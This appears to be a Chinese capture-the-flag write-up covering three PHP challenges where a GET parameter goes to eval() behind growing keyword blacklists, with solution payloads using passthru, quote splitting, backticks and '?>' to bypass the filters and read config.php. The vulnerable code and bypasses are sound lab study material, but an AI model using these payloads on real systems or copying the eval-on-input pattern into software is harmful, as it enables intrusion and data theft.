阿呆听完自己菜死了,自己呆了。决定修好漏洞,绝对不能让自己再菜死了。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
对代码分析,新过滤了cat命令,那就用more替代cat。构造url:?c=passthru('more config.php');,F12查看源码即可。
阿呆不慌不忙的拔掉自己所有的菜,以后自己就不会菜死了。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这题禁用了一些常用的命令执行函数,但是还是存在着漏网之鱼。常见的一些命令执行的语句
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
c=passthru("ca''t `ls`");
阿呆彻底呆了,阿呆拿起谷姐搜索好久,终于找到更狠的方法。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
源码中过滤了参数中的 system exec highlight cat . ; file php config 等关键字, 这里可以使用 passthru()函数 配合反引号`` 来执行系统命令, 针对分号;的过滤, 我们可以使用 ?> 代替 分号, 首先查看当前目录下的文件
?c=passthru('ls')?>
?c=passthru("more `ls | grep con*`")?>
//然后读取出现的文件